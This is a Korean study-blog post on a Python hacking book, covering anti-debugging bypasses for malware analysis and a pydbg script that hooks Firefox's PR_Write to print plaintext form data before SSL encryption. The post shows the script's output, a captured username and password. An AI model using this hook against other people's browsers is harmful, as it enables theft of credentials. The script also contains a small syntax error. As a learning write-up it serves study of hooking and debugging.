[3주] 05장~06장 후킹

Posted by dw0rdptr
2015. 1. 26. 09:33 Study/파이썬 해킹 프로그래밍

Immunity 디버거와 파이썬을 이용하면 안티 디버깅 루틴을 우회할 수 있는 간단한 스크립트를 작성해

악성코드 분석 시에 사용할 수 있다. 


가장 널리 사용되는 안티디버깅 기법은 kernel32.dll이 익스포트하는 IsDebuggerPresent함수이다.

파라미터가 없으며 디버거가 프로세스에 붙여져있으면 1, 아니면 0을 반환한다.

디스어셈블해보면 PEB(Process Environment Block)구조체의 오프셋 0x2위치에있는 BeingDebugged 값을 EAX

레지스터에 할당하고 리턴한다.


imm.writeMemory(imm.getPEBaddress() + 0x2, "\x00")

위 코드는 단순히 PEB의 BeingDebugged 플래그 값을 0으로 만드는 것으로

IsDebuggerPresent 함수를 사용하는 악성코드의 경우에는 디버거가 붙여진 것을 알아차리지 못하게 된다.



또한 악성코드는 디버거가 실행중인지 확인하기 위해 반복적으로 실행중인 프로세스를 검사하기도 하는데,

이 때 Process32First 함수와 Process32Next 함수를 이용한다. 두 함수 모두 실행결과의 성공여부를 나타내기 위해

boolean값을 반환하는데, 마찬가지로 EAX 레지스터 값을 0으로 만들고 바로 리턴하게 함수를 패치하면 악성코드는

실행중인 프로세스 리스트를 구할 수 없다.



06장 - 후킹


후킹은 프로세스를 모니터링하기 위해 실행 흐름을 변경하거나 프로세스가 접근하는 데이터를 변경하기 위해 사용되는 기술이다. 루트킷, 키로거, 디버거 모두 후킹이라고 할 수 있다.

후킹에는 소프트후킹과 하드후킹 두 가지 방법이있다.

1.소프트후킹 : 대상프로세스에 붙인 다음에 실행흐름을 가로채기 위해 INT3 브레이크포인트 핸들러를 구현하는 것(호출빈도 낮은 함수 후킹)

2.하드후킹    : 어셈블리 언어로 작성된 후킹 코드가 실행되게 점프 코드를 삽입하는 것(호출빈도 높은함수 후킹)


파이어폭스 프로세스가 데이터를 암호화해 서버에 전송하기 전에 데이터를 스니핑해보자.

파이어폭스는 SSL 암호화 형태를 사용한다. nss3.dll의 익스포트 함수인 PR_Write 함수에 후킹을 설정해 암호화되기 전의 아스키 데이터를 스니핑한다.(책에 나온 nspr4.dll로 하면 실행되지않는다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#firefox_hook.py
#-*- coding: utf-8 -*-
from pydbg import *
from pydbg.defines import *
 
import utils
import sys
 
dbg                = pydbg()
found_firefox     = False
 
 
#serch for
pattern        = "password"
 
#entry callback function
#args[1]파라미터가 중요
def ssl_sniff(dbg,args):
 
    #두 번째 파라미터가 가리키는 주소의 메모리를 읽음
    #아스키문자열이 저장되어있기 때문에 NULL 바이트를 만날때까지 데이터 읽음
    buffer = ""
    offset = 0
 
    while 1:
        byte = dbg.read_process_memory(args[1+ offset,1)
 
        if byte != "\x00":
            buffer += byte
            offset +=1
            continue
        else:
            break
 
    if pattern in buffer:
        print "Pre-Encrypted : %s" % buffer
 
    return DBG_CONTINUE
 
#firefox.exe 프로세스를 찾는다
for (pid,name) in dbg.enumerate_processes():
    if name.lower() == "firefox.exe":
 
        found_firefox = True
        hooks          = utils.hook_container()
 
        dbg.attach(pid)
        print "[*] Attaching to firefox.exe with PID : %d" % pid
 
        #후킹을 수행할 함수의 주소를 구함
        hook_address = dbg.func_resolve_debuggee("nss3.dll","PR_Write")
 
        if hook_address:
            #후킹 함수를 후킹컨테이너에 추가
            #exit 콜백은 필요없기 때문에 None으로 입력
            hooks.add(dbg,hook_address,2,ssl_sniff,None)
            print "[*] nspr4.PR_Write hooked at : 0x%08x" % hook_address
            break
        else:
            print "[*]Error : Couldn't resolve hook address"
            sys.exit(-1)
 
if found_firefox:
    print "[*] Hooks set, continuing process."
    dbg.run()
else:
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)
cs

파이어폭스를 실행하고 firefox_hook.py를 실행시킨다.

그리고 http://openrce.org에서 아이디와 패스워드를 입력하고 login버튼을 누르면 아래와 같은 결과가 나온다.


username=lake&password=lake

뒤에 Z가나오는건 무슨이유인지 모르겠다